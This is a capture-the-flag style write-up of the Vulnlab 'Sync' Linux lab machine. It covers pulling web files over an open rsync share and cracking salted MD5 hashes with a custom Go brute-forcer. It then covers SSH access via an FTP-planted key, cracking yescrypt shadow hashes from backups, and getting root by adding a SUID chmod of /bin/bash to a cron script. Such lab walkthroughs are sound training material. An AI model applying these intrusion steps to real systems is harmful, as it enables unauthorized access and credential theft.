Vulnlab - Sync [Easy]

Vulnlab Writeup

Name OS Difficulty
Sync Linux (Ubuntu) Easy

Summary

We would find a TCP port 873 open that is related to the rsync utility, which we can connect to. Upon connecting, we would find folders related to the http server that is running. After the exfiltration of those files, we would find a SQLite3 database which contains several hashes of some users. The hashes are constructed a bit odd so we would create a simple utility in Go to help us bruteforce the hash, then we would use the FTP with the found credentials to put our public SSH key so that we can log in with SSH. Then we would find a folder related to some backups of the machine, we will exfiltrate those files, and we are going to try to crack the newly found credentials. Then we would be able to switch users again, and we are going to enumerate once more to find a running CRON job that we would use to gain the root access of the machine.

Exploitation / Initial Foothold

We would start with a nmap scan that would scan TCP and UDP ports.

syl@sylsec:~/vulnlab/Sync$ sudo nmap -sS -sU 10.10.64.96 --min-rate 10000 --open
Starting Nmap 7.80 ( https://nmap.org ) at 2023-12-25 11:16 EET
Nmap scan report for 10.10.64.96
Host is up (0.052s latency).
Not shown: 1002 closed ports, 994 open|filtered ports
PORT    STATE SERVICE
21/tcp  open  ftp
22/tcp  open  ssh
80/tcp  open  http
873/tcp open  rsync

We find that the machine runs the utility rsync, which is a utility for efficiently transferring and synchronizing files between a computer and a storage drive and across networked computers by comparing the modification times and sizes of files.

We can connect to it by using it directly from our linux environment:

syl@sylsec:~/vulnlab/Sync$ rsync -av --list-only rsync://10.10.64.96/
httpd           web backup
syl@sylsec:~/vulnlab/Sync$ rsync -av --list-only rsync://10.10.64.96/httpd
receiving incremental file list
drwxr-xr-x          4.096 2023/04/20 22:50:04 .
drwxr-xr-x          4.096 2023/04/20 23:13:22 db
-rw-r--r--         12.288 2023/04/20 22:50:42 db/site.db
drwxr-xr-x          4.096 2023/04/20 22:50:50 migrate
drwxr-xr-x          4.096 2023/04/20 23:13:15 www
-rw-r--r--          1.722 2023/04/20 23:02:54 www/dashboard.php
-rw-r--r--          2.315 2023/04/20 23:09:10 www/index.php
-rw-r--r--            101 2023/04/20 23:03:08 www/logout.php

sent 23 bytes  received 228 bytes  167,33 bytes/sec
total size is 16.426  speedup is 65,44

We would see that there is an interesting file httpd/db/site.db which may contain some credentials, so let’s get that file along with the other files.

syl@sylsec:~/vulnlab/Sync$ rsync -chavzP --stats rsync://10.10.64.96/httpd/ ./exfiltrated/
receiving incremental file list
./
db/
db/site.db
         12,29K 100%   11,72MB/s    0:00:00 (xfr#1, to-chk=3/8)
migrate/
www/
www/dashboard.php
          1,72K 100%    1,64MB/s    0:00:00 (xfr#2, to-chk=2/8)
www/index.php
          2,31K 100%    2,21MB/s    0:00:00 (xfr#3, to-chk=1/8)
www/logout.php
            101 100%   98,63kB/s    0:00:00 (xfr#4, to-chk=0/8)

Number of files: 8 (reg: 4, dir: 4)
Number of created files: 7 (reg: 4, dir: 3)
Number of deleted files: 0
Number of regular files transferred: 4
Total file size: 16,43K bytes
Total transferred file size: 16,43K bytes
Literal data: 16,43K bytes
Matched data: 0 bytes
File list size: 278
File list generation time: 0,001 seconds
File list transfer time: 0,000 seconds
Total bytes sent: 119
Total bytes received: 2,25K

sent 119 bytes  received 2,25K bytes  1,58K bytes/sec
total size is 16,43K  speedup is 6,95

Now, let’s run sqlite3.

syl@sylsec:~/vulnlab/Sync$ sqlite3 ./exfiltrated/db/site.db 
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.
sqlite> .tables
users
sqlite> select * from users;
1|admin|76<REDACTED>
2|triss|a0<REDACTED>
sqlite> 

We would gather those users and hashes that we need to crack. Initially, I ran those md5 hashes through the rockyou.txt list, but they didn’t match anything, so I was curious why and went to look at the source code.

In the file index.php located in the www folder, we would find the following code snippet:

<?php
session_start();
$secure = "6c4972f3717a5e881e282ad3105de01e";

if (isset($_SESSION['username'])) {
    header('Location: dashboard.php');
    exit();
}

if (isset($_POST['username']) && isset($_POST['password'])) {
    $username = $_POST['username'];
    $password = $_POST['password'];

    $hash = md5("$secure|$username|$password");
    $db = new SQLite3('../db/site.db');
    $result = $db->query("SELECT * FROM users WHERE username = '$username' AND password= '$hash'");
    $row = $result->fetchArray(SQLITE3_ASSOC);
    if ($row) {
        $_SESSION['username'] = $row['username'];
        header('Location: dashboard.php');
        exit();
    } else {
        $error_message = 'Invalid username or password.';
    }
}

?>

We can see that the hash is being created by the value of the variable $secure the username and the password divided by a pipe.

I cracked those hashes with my own solution written in Go, however there might be an easier way of doing that with hashcat or other hash cracking tool.

Here is the Go code that we can use.

package main

import (
    "bufio"
    "crypto/md5"
    "encoding/hex"
    "fmt"
    "os"
    "sync"
)

func main() {
    targetHash := "76<redacted>"
    filename := "/home/syl/tools/lists/rockyou.txt"

    file, err := os.Open(filename)
    if err != nil {
        panic(err)
    }
    defer file.Close()

    var wg sync.WaitGroup
    scanner := bufio.NewScanner(file)

    for scanner.Scan() {
        wg.Add(1)
        go func(line string) {
            defer wg.Done()
            hashedLine := hashLine(line)
            if hashedLine == targetHash {
                fmt.Printf("Match found: %s\n", line)
                os.Exit(0)
            }
        }(scanner.Text())
    }

    if err := scanner.Err(); err != nil {
        panic(err)
    }

    wg.Wait()
}

func hashLine(line string) string {
    data := []byte("6c4972f3717a5e881e282ad3105de01e|admin|" + line)
    hash := md5.Sum(data)
    return hex.EncodeToString(hash[:])
}

We can adjust the code for each user. Within seconds of running the code, we would get a match for the triss user.

syl@sylsec:~/vulnlab/Sync$ go run ./scripts/custom_crack.go 
Match found: g...<redacted>

The hash of the admin wasn’t found.

Those credentials were valid of the FTP service, and It seemed like that we are in the home directory of that user.

We can try to ssh with that user, but the SSH login isn’t permitted, so we can create an SSH folder .ssh from the FTP, and we can put our public SSH key into a file named authorized_keys then we would be able to connect using our public key!

Switching the user and Privilege Escalation

We can find more users within the /etc/passwd file.

jennifer
sa
triss
ubuntu

Upon listing the directories, we would find a folder called backup which sits in the root of the file system. In that folder there are many zip files related to some kind of backup.

We can exfiltrate all the files and extract them to see what’s inside.

# After the exfiltration
find . -name '*.zip' -exec sh -c 'unzip -d "${1%.*}" "$1"' _ {} \;

That bash one-liner would extract each zip file in its own directory.

We would find that those folders are mostly the same and the name of the file is a timestamp, in my specific case here are a couple of files:

1703495041.zip -> Monday, December 25, 2023 9:04:01 AM
1703495161.zip -> Monday, December 25, 2023 9:06:01 AM
1703495281.zip -> Monday, December 25, 2023 9:08:01 AM

We can see a pattern here, those zip files are being created every 2 minutes. We would note that and come back for it later on.

Upon unzipping those files, we would find the following structure:

|-- httpd
|   |-- db
|   |   `-- site.db
|   |-- migrate
|   `-- www
|       |-- dashboard.php
|       |-- index.php
|       `-- logout.php
|-- passwd
|-- rsyncd.conf
`-- shadow

We can inspect the passwd and the shadow files, since that they are the ones that stand out at first. And having those files, we can use the utility from john called unshadow to combine the shadow and the passwd file into a single file that we can use to crack the passwords for the users.

To install the tool unshadow we would need to install john

$ sudo apt install john -y
unshadow ./exfiltrated/ssh/backup/1703494921/tmp/backup/passwd ./exfiltrated/ssh/backup/1703494921/tmp/backup/shadow > tmp_shadow

Then we can crack it (or can we?):

syl@sylsec:~/vulnlab/Sync$ john ./tmp_shadow --wordlist=/home/syl/tools/lists/rockyou.txt                                                                                                                                                      
No password hashes loaded (see FAQ)

We cannot load those hashes in john with the default arguments because the hash function that is being used is called yescrypt. We can conclude the hashing function by inspecting the hashes that we in the tmp_shadow file.

$y$j9T$DBxmxcNWJlhvgfWCUTbEC0<redacted>
$y$j9T$jJFOBCaiGJUmyZZRFn5aG1<redacted>
...

We have the starting sequence $y$ which is related to yescrypt. If you need more information about it, you can read this!

We can use the argument --fromat=crypt

syl@sylsec:~/vulnlab/Sync$ john ./tmp_shadow --format=crypt                                                                                                                                                          
Loaded 5 password hashes with 5 different salts (crypt, generic crypt(3) [?/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:51 0% 2/3 0g/s 87.90p/s 119.4c/s 119.4C/s leslie..boston
<redacted>           (jennifer)
<redacted>           (triss)
<redacted>           (sa)

Now we have the passwords for the user jennifer and the user sa. Upon changing the user to jennifer we would find the user.txt hash.

We can not run linpeas for further enumeration on both accounts sa,jennifer and we would find that we own a file called /usr/local/bin/backup.sh. Upon inspecting the file, we would see that the file contains a script that is being used to back up the files that we saw earlier (the zipped backups).

Using pspy we can monitor the currently running process by all users, and we would see that a backup is being created every 2 minutes (just like the timestamps we saw earlier).

We can edit the script, and we can add the line chmod u+s /bin/bash to the end of it. After 2 minutes, we can see if it works by invoking /bin/bash -p, that would give us the root.